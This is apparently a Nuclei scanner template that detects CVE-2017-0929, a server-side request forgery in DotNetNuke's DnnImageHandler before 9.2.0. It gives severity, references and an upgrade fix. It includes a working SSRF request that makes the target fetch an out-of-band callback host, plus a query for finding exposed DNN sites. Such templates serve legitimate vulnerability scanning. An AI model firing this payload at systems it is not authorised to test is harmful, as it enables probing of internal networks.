id: CVE-2017-0929

info:
  name: DotNetNuke (DNN) ImageHandler <9.2.0 - Server-Side Request Forgery
  author: charanrayudu,meme-lord
  severity: high
  description: DotNetNuke (aka DNN) before 9.2.0 suffers from a server-side request forgery vulnerability in the DnnImageHandler class. Attackers may be able to access information about internal network resources.
  impact: |
    An attacker can exploit this vulnerability to bypass security controls, access internal resources, and potentially perform further attacks.
  remediation: |
    Upgrade DotNetNuke (DNN) ImageHandler to version 9.2.0 or above.
  reference:
    - https://hackerone.com/reports/482634
    - https://nvd.nist.gov/vuln/detail/CVE-2017-0929
    - https://github.com/dnnsoftware/Dnn.Platform/commit/d3953db85fee77bb5e6383747692c507ef8b94c3
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-0929
    cwe-id: CWE-918
    epss-score: 0.00753
    epss-percentile: 0.80628
    cpe: cpe:2.3:a:dnnsoftware:dotnetnuke:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dnnsoftware
    product: dotnetnuke
    fofa-query: app="dotnetnuke"
  tags: cve2017,cve,dnn,dotnetnuke,hackerone,oast,ssrf,dnnsoftware

http:
  - method: GET
    path:
      - '{{BaseURL}}/DnnImageHandler.ashx?mode=file&url=http://{{interactsh-url}}'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 500
# digest: 490a0046304402205a119e5ecded5ee4836710d4e94ff6f11fdca1ca813692ab0e11b4e791ac9b530220434d42ce7916eca7371b47c3f6a44205e7e5a4f74f71558e5c3648c2eb5a706e:922c64590222798bb761d5b6d8e72950